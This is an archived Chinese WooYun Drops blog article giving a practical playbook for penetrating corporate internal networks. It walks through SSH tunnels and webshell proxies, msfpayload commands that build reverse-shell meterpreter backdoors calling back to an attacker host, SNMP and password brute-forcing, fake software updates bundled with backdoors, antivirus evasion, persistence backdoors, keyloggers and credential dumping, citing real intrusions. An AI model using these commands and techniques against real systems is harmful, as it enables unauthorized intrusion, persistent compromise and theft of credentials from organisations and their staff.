
        <html>
			<head>
			     <title>内网渗透随想 - redrain有节操</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/5234">http://drops.wooyun.org/tips/5234</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>之前看到微博有人私信我说内网渗透的技巧，zone也有很多小伙伴问了一些内网渗透的问题，所以我就斗胆写了这篇文章，有不对的，还请各位斧正</p>

<p>整个内网渗透肯定不是一篇两篇文章能够讲述清楚的，所以标题写作随想，想到哪儿写哪儿</p>

<h1>0x01 内网代理和转发</h1>

<hr />

<p><img src="http://static.wooyun.org/20150316/2015031603142416882.png" alt="image" /></p>

<!--more-->

<h5>＊简单区分一下正向代理和反向代理</h5>

<h2>1.1 正向代理(Forward Proxy)</h2>

<hr />

<pre><code>Lhost－－》proxy－－》Rhost
</code></pre>

<p>Lhost为了访问到Rhost，向proxy发送了一个请求并且指定目标是Rhost，然后proxy向Rhost转交请求并将获得的内容返回给Lhost，简单来说正向代理就是proxy代替了我们去访问Rhost。</p>

<h2>1.2 反向代理（reverse proxy）</h2>

<hr />

<pre><code>Lhost&lt;---&gt;proxy&lt;---&gt;firewall&lt;---&gt;Rhost
</code></pre>

<p>和正向代理相反（废话），Lhost只向proxy发送普通的请求，具体让他转到哪里，proxy自己判断，然后将返回的数据递交回来，这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透</p>

<h2>1.3 简单区分</h2>

<hr />

<p>正向代理是我们自己(Lhost)戴套(proxy)插进去，反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost)</p>

<p>zone里<a href="http://zone.wooyun.org/content/18683">内网渗透代理问题</a>有人问了如何代理进行内网渗透的问题<br />
诚然，要进行内网渗透，代理是我们最先需要解决的问题，常见的代理方式大概可以分为这么几种：</p>

<h2>2. VPN隧道／SSH隧道</h2>

<hr />

<p>这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道，配置VPN都比较简单，这里不做赘述，我们看一看通过SSH隧道进行代理</p>

<pre><code>#!bash
ssh -qTfnN -L port:host:hostport -l user remote_ip   #正向隧道，监听本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip   #反向隧道，用于内网穿透防火墙限制之类
SSH -qTfnN -D port remotehost   #直接进行socks代理

参数详解：
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行，并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令，端口转发就用它了～
</code></pre>

<p>有时候，我们手边没有端口转发的工具，也可以通过ssh来做端口转发</p>

<pre><code>#!bash
ssh -CfNg -L port1:127.0.0.1:port2 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="8cf9ffe9fecce4e3fff8">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>    #本地转发
ssh -CfNg -R port2:127.0.0.1:port1 <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c2b7b1a7b082aaadb1b6">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>    #远程转发
</code></pre>

<p>大家可以参考这篇paper，非常棒<a href="http://staff.washington.edu/corey/fw/ssh-port-forwarding.html">SSH Port Forwarding</a></p>

<h2>3. 通过HTTP service的代理</h2>

<hr />

<p>简单来说就是在目标服务器上传一个webshell，通过shell来做所有的流量转发到内网，常见的几个工具有reGeorg，meterpreter，tunna等等，甚至直接写一个简单的代理脚本，在自己机器上配置一下nginx直接进行反向代理</p>

<ul>
<li><p><a href="https://github.com/sensepost/reGeorg">reGeorg</a>自带的说明已经很清楚了</p>

<ul>
<li><p><strong>Step 1.</strong> Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)</p></li>
<li><p><strong>Step 2.</strong> Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py</p></li>
</ul>

<p>** Note, if you tools, such as NMap doesn't support socks proxies, use &#91;proxychains&#93; (see wiki)</p>

<ul>
<li><strong>Step 3.</strong> Hack the planet :)</li>
</ul></li>
</ul>

<p>注意安装urllib3即可（regeorg很方便，我基本都用这个）</p>

<ul>
<li>meterpreter</li>
</ul>

<p>msf非常强大，在进行内网渗透的时候不失为一个好的选择，要用它进行代理，可以直接生成一个可执行文件后门，然后返回meterpreter，也可以生成一个webshell来返回meterpreter，关于meterpreter，Dm老师已经说的非常清楚了<a href="http://drops.wooyun.org/tips/2227">metasploit 渗透测试笔记(meterpreter篇)</a></p>

<h2>3.1 windows生成后门</h2>

<hr />

<pre><code>#!bash
msfpayload windows/meterpreter/reverse_tcp LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; X &gt; shell.exe
</code></pre>

<h2>3.2 Linux生成后门</h2>

<hr />

<pre><code>#!bash
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; R | msfencode -t elf -o shell
</code></pre>

<h2>3.3 php后门</h2>

<hr />

<pre><code>#!bash
msfpayload php/meterpreter/reverse_tcp LHOST=&lt;Your IP Address&gt; LPORT=&lt;Your Port to Connect On&gt; R | msfencode -e php/base64(可简单编码) -t raw -o base64php.php
</code></pre>

<p>获得meterpreter会话后，就是msf尽情施展的时候了，最常用的办法，添加路由表后，直接在会话中用msf的各种攻击模块进行扫描（注意，这里是可以进行跨网段扫描的）</p>

<p>如果单纯只是想要进行简单的代理工作，auxiliary/server/socks4a模块即可</p>

<p>这里讲到meterpreter所以多说一句，之前说的ssh隧道，如果嫌命令难得记，也可以简单的通过msf来建立tunnel</p>

<pre><code>#!bash
load meta_ssh
use multi/ssh/login_password
设置好参数后exploit即可获取会话进行代理操作
</code></pre>

<ul>
<li>直接通过webshell和nginx反向代理</li>
</ul>

<p><a href="http://zone.wooyun.org/content/11096">http://zone.wooyun.org/content/11096</a></p>

<h2>4. other tricks</h2>

<hr />

<p>python，ruby，perl等直接建立socks连接</p>

<p>lcx，tunna，htran等等进行端口流量转发</p>

<p>shadowsocks，tor，goagent等等</p>

<p>直接现成的小东西：<a href="http://sourceforge.net/projects/ssocks/?source=navbar">ssocks</a>（一次比赛的时候死猫跟我推荐的）正向代理，反弹socks5均可</p>

<h1>0x02 内网环境探测和信息收集</h1>

<hr />

<p>因为一个完整的渗透很难涵盖各种情况，所以这里讲的可能比较散，基本都是一些小技巧和思路</p>

<ul>
<li><p>Nmap代理扫描进行主机发现</p>

<p>proxychains nmap ＊＊＊</p>

<p>如果是meterpreter会话进行的代理，可直接通过<code>/usr/share/metasploit-framework/modules/auxiliary/scanner</code>脚本来扫描即可</p></li>
<li><p>查看hosts获取内网主机信息</p></li>
<li><p>直接攻击网段路由或交换机，简单绘制内网的结构（我在<a href="http://www.wooyun.org/bugs/wooyun-2015-097180">从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备</a>中就是获取了cisco路由的privilege15权限，得到了内网结构，进一步进行跨vlan攻击）</p></li>
<li><p>多尝试交换机snmp弱口令，一旦成功，内网结构清晰</p></li>
<li><p>关于snmp渗透</p>

<p><a href="http://baike.baidu.com/view/2899.htm">什么是snmp</a></p>

<p>使用了snmp管理的设备，只需要community string即可，所以针对这个string爆破或者社工都是可行的，默认public/private</p>

<p>首先进行161端口扫描，发现snmp开放情况，通过弱口令查看设备信息，在oid中读取设备密码</p>

<p><img src="http://static.wooyun.org/drops/20150316/201503160400084357525.jpg" alt="image" /></p>

<p>例子：<a href="http://www.wooyun.org/bugs/wooyun-2013-021964">中国移动集团华为三层交换SNMP漏洞，可获取管理帐号密码，已成功登录</a></p>

<p>可以通过这个nmap和msf脚本进行自动攻击<a href="https://github.com/grutz/h3c-pt-tools">h3c-pt-tools</a></p></li>
<li><p>尝试从主机的用户目录或者管理运维邮箱寻找敏感信息(某次渗透即是keylogger运维后在测试机桌面获取到拓扑和网段)</p>

<p><img src="http://static.wooyun.org/drops/20150316/201503160400132745233.jpg" alt="image" /></p></li>
<li><p>通过resolv.conf找到内网dns服务器，或者字典穷举dns</p></li>
<li><p>注意分析用户的.bash_history，一般可以分析出用户的使用习惯，纪录等,获取~/.shh/，尝试配合history的连接纪录直接通过密钥登陆其他机器</p></li>
</ul>

<h1>0x03 内网渗透的常见攻击技巧</h1>

<hr />

<ul>
<li><p>通过之前的信息收集和探测，判断出主要的业务机器，如OA，dbserver，利用ssh信任，连入机器后导出员工的userlist，做成针对性的字典，大部分内网的安全性都是脆弱的，且最容易出问题的就是口令安全（大公司也不例外）</p>

<p>%username%1</p>

<p>%username%12</p>

<p>%username%123</p>

<p>%username%1234</p>

<p>%username%12345</p>

<p>%username%123456</p></li>
</ul>

<p>主要对ssh,dbserver,vnc,ftp进行爆破</p>

<p><img src="http://static.wooyun.org/20150316/2015031603142528600.png" alt="image" /></p>

<ul>
<li><p>对开了web service的server进行常规渗透，有可以减少工作量的办法就是先对机器批量识别banner，通过banner判断出cms或中间件，直接利用exp</p></li>
<li><p>中间人攻击</p></li>
</ul>

<p>常用ettercap，不建议做arp的mitm，可以尝试dhcp mitm或者icmp mitm</p>

<p>也可以猥琐一点，劫持插件，攻击网关，或者利用evilgrade去伪造软件更新(如notepad++)，然后捆绑上后门，直接打下工作机器，进入办公网</p>

<p><img src="http://static.wooyun.org/20150316/2015031603142610588.png" alt="image" /></p>

<p><img src="http://static.wooyun.org/20150316/2015031603142614810.png" alt="image" /></p>

<p>简单配置后用msf生成后门，start即可配合ettercap使用伪造软件更新了</p>

<p><img src="http://static.wooyun.org/20150316/2015031603142654555.png" alt="image" /></p>

<ul>
<li><p>常见服务漏洞攻击</p>

<p>smb/ms08067/ipc$/NetBIOS…………</p></li>
</ul>

<p>但是在针对这些比较古老的漏洞攻击时，很可能有AV拦截，所以在不同场景遇到的坑都不一样</p>

<p>比如之前在西电DM牛告诉我，有AV，如果直接利用psexec返回会话，即会拦截，这时就可以利用powershell来bypass AV<a href="http://drops.wooyun.org/tips/3353">Powershell tricks::Bypass AV</a></p>

<h1>0x04 后渗透准备和扩大战果</h1>

<hr />

<p>一次完美的内网渗透肯定不是能够一次性完成的，因为整个过程需要管理员的"配合"（口胡。。。）所以后渗透准备时很有必要的</p>

<h2>1. 后门准备</h2>

<hr />

<p>msf的后门已经不错，只需要稍加改造就能很好满足我们的需求</p>

<p>普通msfpayload生成的后门不是持续性的，不利于我们下次继续工作，所以需要一个持续性后门</p>

<p>msf的持续性后门有两种，通过服务启动(metsvc)和通过启动项启动(persistence)</p>

<p>通过服务的后门有个弊端，服务名称是meterpreter，利用方式是： 上传后门，通过metsvc安装服务</p>

<pre><code>#!bash
meterpreter &gt; run metsvc
...(设定端口，并且上传后门文件)
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
exploit
</code></pre>

<p>通过启动项的利用方式：</p>

<pre><code>#!bash
meterpreter &gt; run persistence -X -i 10 -p port -r hostip

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
</code></pre>

<p>当然，直接生成的后门有可能会被杀，所以这里我推荐一个很不错的工具，<a href="https://github.com/ChrisTruncer/Veil">veil</a>，之前再一次小型apt中用这个生成了的后门直接bypass了360</p>

<p>linux下有两个常用的后门</p>

<p>mafix rookit和Cymothoa，后者听说可以克隆root用户，不过大部分的backdoor基本都相当于一个加密nc，会新开端口，所以如果webshell存活，可以直接考虑用webshell维持权限</p>

<h2>2. 键盘记录</h2>

<hr />

<p>keylogger在内网渗透过程中（尤其是比较大的内网），起到很关键的作用，因为搞定一个密码，有可能就搞定了一个网段</p>

<p><a href="https://github.com/dorneanu/ixkeylog/">ixkeylog</a>是我常用的一个，linux>=2.63均可使用</p>

<p>或者使用meterpreter会话的自带键盘记录功能</p>

<pre><code>keyscan_start
keyscan_dump
</code></pre>

<p><img src="http://static.wooyun.org/20150316/2015031603142712585.png" alt="image" /></p>

<p><img src="http://static.wooyun.org/20150316/2015031603142781920.png" alt="image" /></p>

<p>用meterpreter有个好处，就是在win中可以做内存注入，不会创建进程</p>

<p>这里说一个小tips，如果觉得keylogger动作大，可以进系统后把一些你需要的管理工具，如navicat，putty，PLSQL，SecureCRT之类全部选成记住密码</p>

<h2>3. hash</h2>

<hr />

<p>mimikatz，不用多说，利用meterpreter可以直接load模块</p>

<p>Quarks PwDump</p>

<p>wce</p>

<h1>0x05 something else</h1>

<hr />

<p>内网渗透涉及的面很广，本文主要说到的是一些很简单的问题和常规的思路</p>

<p>尚未谈到的 <strong>域渗透</strong> <strong>打印机</strong> <strong>办公网嗅探</strong> <strong>入侵日志清理</strong>等等</p>

<p>如果有机会，日后慢慢补全</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          